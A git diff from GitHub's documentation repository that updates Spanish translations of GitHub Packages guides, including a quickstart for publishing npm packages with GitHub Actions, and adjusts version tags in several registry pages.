 </td>
 <td>
-  There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
+  Hay solo un job en este flujo de trabajo. Se configura para ejecutarse en la última versión disponible de Ubuntu.
 </td>
 </tr>
 
@@ -232,7 +232,7 @@ run-npm-build:
 {% endraw %}
 </td>
 <td>
-  This job installs NPM and uses it to build the app.
+  Este job instala NPM y lo utiliza para crear la app.
 </td>
 </tr>
 
@@ -267,7 +267,7 @@ run-npm-test:
 {% endraw %}
 </td>
 <td>
-  This job uses <code>npm test</code> to test the code. The <code>needs: run-npm-build</code> command makes this job dependent on the <code>run-npm-build</code> job.
+  Este job utiliza <code>npm test</code> para probar el código. El comando <code>needs: run-npm-build</code> hace que este job dependa del job <code>run-npm-build</code>.
 </td>
 </tr>
 
@@ -282,7 +282,7 @@ build-and-push-image:
 {% endraw %}
 </td>
 <td>
-  This job publishes the package. The <code>needs: run-npm-test</code> command makes this job dependent on the <code>run-npm-test</code> job.
+  Este job publica el paquete. El comando <code>needs: run-npm-test</code> hace que este job dependa del job <code>run-npm-test</code>.
 </td>
 </tr>
 
@@ -300,7 +300,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Sets the permissions granted to the <code>GITHUB_TOKEN</code> for the actions in this job.
+  Configura los permisos que se otorgan al <code>GITHUB_TOKEN</code> para las acciones en este job.
 </td>
 </tr> 
 {% endif %}
@@ -320,7 +320,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Creates a step called <code>Log in to the {% data variables.product.prodname_container_registry %}</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
+  Crea un paso que se llama <code>Log in to the {% data variables.product.prodname_container_registry %}</code>, el cual se asienta en el registro utilizando la cuenta y contraseñas que publicarán los paquetes. Una vez que se publica, los paquetes pertenecerán a la cuenta que se define aquí.
 </td>
 </tr>
 
@@ -337,7 +337,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  This step uses <code><a href="https://github.com/docker/metadata-action#about">docker/metadata-action</a></code> to extract tags and labels that will be applied to the specified image. The <code>id</code> "meta" allows the output of this step to be referenced in a subsequent step. The <code>images</code> value provides the base name for the tags and labels.
+  Este paso utiliza <code><a href="https://github.com/docker/metadata-action#about">docker/metadata-action</a></code> para extrar etiquetas y marcas que se aplicarán a la imagen específica. La <code>id</code> "meta" permite que se referencie la salida de este paso en otro subsecuente. El valor <code>images</code> proporciona el nombre base para las etiquetas y marcadores.
 </td>
 </tr>
 
@@ -356,7 +356,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Creates a new step called <code>Log in to GitHub Docker Registry</code>, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
+  Crea un paso nuevo que se llame <code>Log in to GitHub Docker Registry</code>, el cual inicia sesión en el registro utilizando la cuenta y contraseña que publicará los paquetes. Una vez que se publica, los paquetes pertenecerán a la cuenta que se define aquí.
 </td>
 </tr>
 {% endif %}
@@ -370,7 +370,7 @@ permissions:
 {% endraw %}
 </td>
 <td>
-  Creates a new step called <code>Build and push Docker image</code>. This step runs as part of the <code>build-and-push-image</code> job.
+  Crea un paso nuevo que se llama <code>Build and push Docker image</code>. Este paso se ejecuta como parte del job <code>build-and-push-image</code>.
 </td>
 </tr>
 
@@ -383,7 +383,7 @@ uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
 {% endraw %}
 </td>
 <td>
-  Uses the Docker <code>build-push-action</code> action to build the image, based on your repository's <code>Dockerfile</code>. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}.
+  Utiliza la acción <code>build-push-action</code> de Docker para crear la imagen, basándose en el <code>Dockerfile</code> de tu repositorio. Si la compilación es exitosa, sube la imagen al {% data variables.product.prodname_registry %}.
 </td>
 </tr>
 
@@ -396,7 +396,7 @@ with:
 {% endraw %}
 </td>
 <td>
-  Sends the required parameters to the <code>build-push-action</code> action. These are defined in the subsequent lines.
+  Envía los parámetros requeridas a la acción <code>build-push-action</code>. Estas se definen en líneas subsecuentes.
 </td>
 </tr>
 
@@ -410,7 +410,7 @@ context: .
 {% endraw %}
 </td>
 <td>
-  Defines the build's context as the set of files located in the specified path. For more information, see "<a href="https://github.com/docker/build-push-action#usage">Usage</a>."
+  Define el contexto de la compilación como el conjunto de archivos que se ubican en la ruta específica. Para obtener más información, consulta la sección "<a href="https://github.com/docker/build-push-action#usage">Uso</a>".
 </td>
 </tr>
 {% endif %}
@@ -424,7 +424,7 @@ push: true
 {% endraw %}
 </td>
 <td>
-  Pushes this image to the registry if it is built successfully.
+  Sube esta imagen al registro si se compila con éxito.
 </td>
 </tr>
 
@@ -439,7 +439,7 @@ labels: ${{ steps.meta.outputs.labels }}
 {% endraw %}
 </td>
 <td>
-  Adds the tags and labels extracted in the "meta" step.
+  Agrega las etiquetas y marcadores que se exrayeron en el paso "meta".
 </td>
 </tr>
 
@@ -463,50 +463,47 @@ docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }}
 {% endif %}
 </td>
 <td>
-  Tags the image with the SHA of the commit that triggered the workflow.
+  Etiqueta la imagen con el SHA de la confirmación que activó el flujo de trabajo.
 </td>
 </tr>
 {% endif %}
 
 </table>
 
-This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab.
+Este flujo de trabajo nuevo se ejecutará automáticamente cada que subas un cambio a una rama que se llame `release` en el repositorio. Puedes ver el progreso en la pestaña de **Acciones**.
 
-A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)."
+Unos minutos después de que se complete el flujo de trabajo, el paquete nuevo podrá visualizarse en tu repositorio. Para encontrar tus paquetes disponibles, consulta la sección "[Visualizar los paquetes de un repositorio](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)".
 
 
-## Installing a package using an action
+## Instalar un paquete mediante una acción
 
-You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies.
+Puedes instalar paquetes como parte de tu flujo de CI mediante {% data variables.product.prodname_actions %}. Por ejemplo, podrías configurar un flujo de trabajo para que cada vez que un programador suba código a una solicitud de extracción, el flujo de trabajo resuelva las dependencias al descargar e instalar paquetes alojados por el {% data variables.product.prodname_registry %}. Luego, el flujo de trabajo puede ejecutar pruebas de CI que requieran las dependencias.
 
-Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %}
+El instalar los paquetes que hospeda el {% data variables.product.prodname_registry %} a través de las {% data variables.product.prodname_actions %} requiere una configuración mínima o autenticación adicional cuando utilizas un `GITHUB_TOKEN`.{% ifversion fpt or ghec %} También, la transferencia de datos es gratuita cuando una acción instala un paquete. Para obtener más información, consulta la sección "[Acerca de la facturación para el {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)".{% endif %}
 
 {% data reusables.package_registry.actions-configuration %}
 
 {% ifversion fpt or ghec %}
-## Upgrading a workflow that accesses `ghcr.io`
+## Actualizar un flujo de trabajo que tiene acceso a `ghcr.io`
 
-The {% data variables.product.prodname_container_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a personal access token (PAT) to authenticate to `ghcr.io`, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`.
+El {% data variables.product.prodname_container_registry %} es compatible con el `GITHUB_TOKEN` para una autenticación más fácil y segura en tus flujos de trabajo. Si tu flujo de trabajo está utilizando un token de acceso personal (PAT) para autenticarse en `ghcr.io`, entonces te recomendamos ampliamente que actualices tu flujo de trabajo para utilizar el `GITHUB_TOKEN`.
 
-For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+Para obtener más información sobre el `GITHUB_TOKEN`, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)".
 
-Using the `GITHUB_TOKEN` instead of a PAT, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived PAT that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)."
+El utilizar el `GITHUB_TOKEN` en vez de un PAT, el cual incluya el alcance de `repo`, incrementa la seguridad de tu repositorio, ya que no necesita sutilizar un PAT de vida extendida que ofrezca acceso innecesario al repositorio en donde se ejecuta tu flujo de trabajo. Para obtener más información acerca de las mejores prácticas de seguridad, consulta la sección "[Fortalecimiento de seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)".
 
-1. Navigate to your package landing page.
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
+1. Navega a la página de llegada de tu paquete.
+1. En la barra lateral izquierda, haz clic en **Acceso a las acciones**. ![Opción "Acceso a las acciones" en el menú izquierdo](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+1. Para asegurarte de que tu paquete de contenedor tenga acceso a tu flujo de trabajo, debes agregar el repositorio en donde se almacena el flujo de trabajo a tu contenedor. Haz clic en **Agregar repositorio** y busca el repositorio que quieres agregar. ![Botón "Agregar repositorio"](/assets/images/help/package-registry/add-repository-button.png)
   {% note %}
 
-  **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+  **Nota:** Agregar un repositorio a tu contenedor a través de la opción de menú **Acceso de las acciones** es diferente que conectar tu contenedor a un repositorio. Para obtener más información, consulta las opciones "[Garantizar a tu paquete acceso al flujo de trabajo](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" y "[Conectar un repositorio a un paquete](/packages/learn-github-packages/connecting-a-repository-to-a-package)".
 
   {% endnote %}
-1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
-1. Open your workflow file. On the line where you log in to `ghcr.io`, replace your PAT with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}.
+1. Opcionalmente, utiliza el menú desplegable de "rol", selecciona el nivel de acceso predeterminado que te gustaría que tuviera el repositorio en tu imagen de contenedor. ![Niveles de acceso de permisos para otorgar a los repositorios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. Abre tu archivo de flujo de trabajo. En la línea en donde ingresas a `ghcr.io`, reemplaza tu PAT con {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}.
 
-For example, this workflow publishes a Docker image using {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate.
+Por ejemplo, este flujo de trabajo publica una imagen de Docker utilizando {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} para autenticarse.
 
 ```yaml{:copy}
 name: Demo Push
diff --git a/translations/es-ES/content/packages/quickstart.md b/translations/es-ES/content/packages/quickstart.md
index 7896aa0be5..9ef2af0785 100644
--- a/translations/es-ES/content/packages/quickstart.md
+++ b/translations/es-ES/content/packages/quickstart.md
@@ -1,36 +1,36 @@
 ---
-title: Quickstart for GitHub Packages
-intro: 'Publish to {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}.'
+title: Guía de inciio rápido para GitHub Packages
+intro: 'Publica en el {% data variables.product.prodname_registry %} con {% data variables.product.prodname_actions %}.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Quickstart
+shortTitle: Inicio Rápido
 ---
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-In this guide, you'll create a {% data variables.product.prodname_actions %} workflow to test your code and then publish it to {% data variables.product.prodname_registry %}.
+En esta guía, crearás un flujo de trabajo de {% data variables.product.prodname_actions %} para probar tu código y luego lo publicarás en el {% data variables.product.prodname_registry %}.
 
-## Publishing your package
+## Publicar tu paquete
 
-1. Create a new repository on {% data variables.product.prodname_dotcom %}, adding the `.gitignore` for Node. {% ifversion ghes < 3.1 %} Create a private repository if you’d like to delete this package later, public packages cannot be deleted.{% endif %} For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)."
-2. Clone the repository to your local machine.
+1. Crea un repositorio nuevo en {% data variables.product.prodname_dotcom %}, agregando el `.gitignore` para Node. {% ifversion ghes < 3.1 %} Crea un repositorio privado si te gustaría borrar este paquete más adelante, los paquetes públicos no pueden borrarse.{% endif %} Para obtener más información, consulta la sección "[Crear un repositorio nuevo ](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)".
+2. Clona el repositorio en tu máquina local.
     ```shell
     $ git clone https://{% ifversion ghae %}<em>YOUR-HOSTNAME</em>{% else %}github.com{% endif %}/<em>YOUR-USERNAME</em>/<em>YOUR-REPOSITORY</em>.git
     $ cd <em>YOUR-REPOSITORY</em>
     ```
-3. Create an `index.js` file and add a basic alert to say "Hello world!"
+3. Crea un archivo `index.js` y agrega una alerta básica que diga "Hello world!"
     {% raw %}
     ```javascript{:copy}
     alert("Hello, World!");
     ```
     {% endraw %}
-4. Initialize an npm package with `npm init`. In the package initialization wizard, enter your package with the name: _`@YOUR-USERNAME/YOUR-REPOSITORY`_, and set the test script to `exit 0`. This will generate a `package.json` file with information about your package.
+4. Inicializa un paquete de npm con `npm init`. En el asistente de inicialización de paquetes, ingresa tu paquete con el nombre: _`@YOUR-USERNAME/YOUR-REPOSITORY`_, y configura el script de pruebas en `exit 0`. Esto generará un archivo `package.json` con información sobre tu paquete.
     {% raw %}
     ```shell
     $ npm init
@@ -41,15 +41,15 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
       ...    
     ```
     {% endraw %}
-5. Run `npm install` to generate the `package-lock.json` file, then commit and push your changes to {% data variables.product.prodname_dotcom %}.
+5. Ejecuta `npm install` para generar el archivo `package-lock.json` y luego confirma y sube tus cambios a {% data variables.product.prodname_dotcom %}.
     ```shell
     $ npm install
     $ git add index.js package.json package-lock.json
     $ git commit -m "initialize npm package"
     $ git push
     ```
-6. Create a `.github/workflows` directory. In that directory, create a file named `release-package.yml`.
-7. Copy the following YAML content into the `release-package.yml` file{% ifversion ghae %}, replacing `YOUR-HOSTNAME` with the name of your enterprise{% endif %}.
+6. Crea un directorio de `.github/workflows`. En este directorio, crea un archivo que se llame `release-package.yml`.
+7. Copia el siguiente contenido de YAML en el archivo `release-package.yml`{% ifversion ghae %}, reemplazando a `YOUR-HOSTNAME` con el nombre de tu empresa{% endif %}.
     ```yaml{:copy}
     name: Node.js Package
 
@@ -85,14 +85,14 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
             env:
               NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %}
     ```
-8. Tell NPM which scope and registry to publish packages to using one of the following methods:
-   - Add an NPM configuration file for the repository by creating a `.npmrc` file in the root directory with the contents:
+8. Dile a NPM en qué alcance y registro publicar paquetes para utilizar uno de los siguientes métodos:
+   - Agrega un archivo de configuración NPM para el repositorio creando un archivo `.npmrc` en el directorio raíz con el siguiente contenido:
       {% raw %}
       ```shell
       <em>@YOUR-USERNAME</em>:registry=https://npm.pkg.github.com
       ```
       {% endraw %}
-   - Edit the `package.json` file and specify the `publishConfig` key:
+   - Edita el archivo `package.json` y especifica la clave `publishConfig`:
       {% raw %}
       ```shell
       "publishConfig": {
@@ -100,7 +100,7 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
       }
       ```
       {% endraw %}
-9. Commit and push your changes to {% data variables.product.prodname_dotcom %}.
+9. Confirma y sube tus cambios a {% data variables.product.prodname_dotcom %}.
     ```shell
     $ git add .github/workflows/release-package.yml
     # Also add the file you created or edited in the previous step.
@@ -108,29 +108,29 @@ In this guide, you'll create a {% data variables.product.prodname_actions %} wor
     $ git commit -m "workflow to publish package"
     $ git push
     ```
-10.  The workflow that you created will run whenever a new release is created in your repository. If the tests pass, then the package will be published to {% data variables.product.prodname_registry %}.
-    
-    To test this out, navigate to the **Code** tab in your repository and create a new release. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)."
+10.  El flujo de trabajo que creaste se ejecutará cuando sea que se cree un lanzamiento nuevo en tu repositorio. Si las pruebas pasan, entonces el paquete se publicará en {% data variables.product.prodname_registry %}.
 
-## Viewing your published package
+    Para probar esto, navega a la pestaña de **Código** en tu repositorio y crea un lanzamiento nuevo. Para obtener más información, consulta la sección "[Gestionar los lanzamientos en un repositorio](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)".
 
-You can view all of the packages you have published.
+## Visualizar tu paquete publicado
+
+Puedes ver todos los paquetes que has publicado.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
 {% data reusables.package_registry.navigate-to-packages %}
 
 
-## Installing a published package
+## Instalar un paquete publicado
 
-Now that you've published the package, you'll want to use it as a dependency across your projects. For more information, see "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)."
+Ahora que publicaste el paquete, querrás utilizarlo como una dependencia en tus proyectos. Para obtener más información, consulta la sección "[Trabajar con el registro de npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)".
 
-## Next steps
+## Pasos siguientes
 
-The basic workflow you just added runs any time a new release is created in your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_registry %}. You can publish your package to multiple registries with a single workflow, trigger the workflow to run on different events such as a merged pull request, manage containers, and more.
+El flujo básico que acabas de agregar se ejecuta en cualquier momento que se cree un lanzamiento nuevo en tu repositorio. Pero esto es solo el inicio de lo que puedes hacer con el {% data variables.product.prodname_registry %}. Puedes publicar tu paquete en varios registros con un solo flujo de trabajo, activar el flujo de trabajo para que se ejecute en eventos diferentes tales como una solicitud de cambios fusionada, administrar contenedores, y más.
 
-Combining {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %}:
+El combinar el {% data variables.product.prodname_registry %} y las {% data variables.product.prodname_actions %} puede ayudarte a automatizar casi cualquier aspecto de tu proceso de desarrollo de aplicaciones. ¿Listo para comenzar? Aquí hay algunos recursos útiles para llevar a cabo los siguientes pasos con el {% data variables.product.prodname_registry %} y las {% data variables.product.prodname_actions %}:
 
-- "[Learn {% data variables.product.prodname_registry %}](/packages/learn-github-packages)" for an in-depth tutorial on GitHub Packages
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial on GitHub Actions
-- "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)" for specific uses cases and examples
+- "[Aprende sobre el {% data variables.product.prodname_registry %}](/packages/learn-github-packages)" para un tutorial más a fondo de GitHub Packages
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" para un tutorial más a fondo de GitHub Actions
+- "[Trabajar con un registro de {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)" para casos de uso y ejemplos específicos
diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
index a494c22c11..74d94bffcf 100644
--- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
+++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
@@ -191,4 +191,4 @@ To install an Apache Maven package from {% data variables.product.prodname_regis
 ## Further reading
 
 - "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)"
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
index e27195ffd4..4abbabae70 100644
--- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
+++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
@@ -263,6 +263,6 @@ $ docker pull <em>HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME</em>
 
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
 
 {% endif %}  <!-- End of main versioning block -->
diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
index 92f12983f8..3db0070fdb 100644
--- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
+++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
@@ -216,4 +216,4 @@ To use a published package from {% data variables.product.prodname_registry %},
 ## Further reading
 
 - "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)"
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
index 6f606db0cb..1163c54a5f 100644
--- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
+++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
@@ -27,7 +27,7 @@ If you publish over 1,000 npm package versions to {% data variables.product.prod
 
 In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable.
 
-If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)."
+If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)."
 
 ## Authenticating to {% data variables.product.prodname_registry %}
 
@@ -215,4 +215,4 @@ If your instance has subdomain isolation disabled:
 
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
index 347a099de3..ac87e01173 100644
--- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
+++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
@@ -231,6 +231,8 @@ Using packages from {% data variables.product.prodname_dotcom %} in your project
 
 Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository .
 
+If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.
+
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
index 7afbca5c42..22d46ba47a 100644
--- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
+++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
@@ -153,4 +153,4 @@ You can use gems from {% data variables.product.prodname_registry %} much like y
 
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
index 1326fe9a6b..8b423a877c 100644
--- a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
+++ b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
@@ -2,9 +2,9 @@
 title: About custom domains and GitHub Pages
 intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.'
 redirect_from:
-  - /articles/about-custom-domains-for-github-pages-sites/
-  - /articles/about-supported-custom-domains/
-  - /articles/custom-domain-redirects-for-your-github-pages-site/
+  - /articles/about-custom-domains-for-github-pages-sites
+  - /articles/about-supported-custom-domains
+  - /articles/custom-domain-redirects-for-your-github-pages-site
   - /articles/about-custom-domains-and-github-pages
   - /github/working-with-github-pages/about-custom-domains-and-github-pages
 product: '{% data reusables.gated-features.pages %}'
@@ -58,7 +58,7 @@ An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through you
 
 ## Securing the custom domain for your {% data variables.product.prodname_pages %} site
 
-{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."  
+{% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 
 There are a couple of reasons your site might be automatically disabled.
 
diff --git a/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md b/translations/es-ES/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md
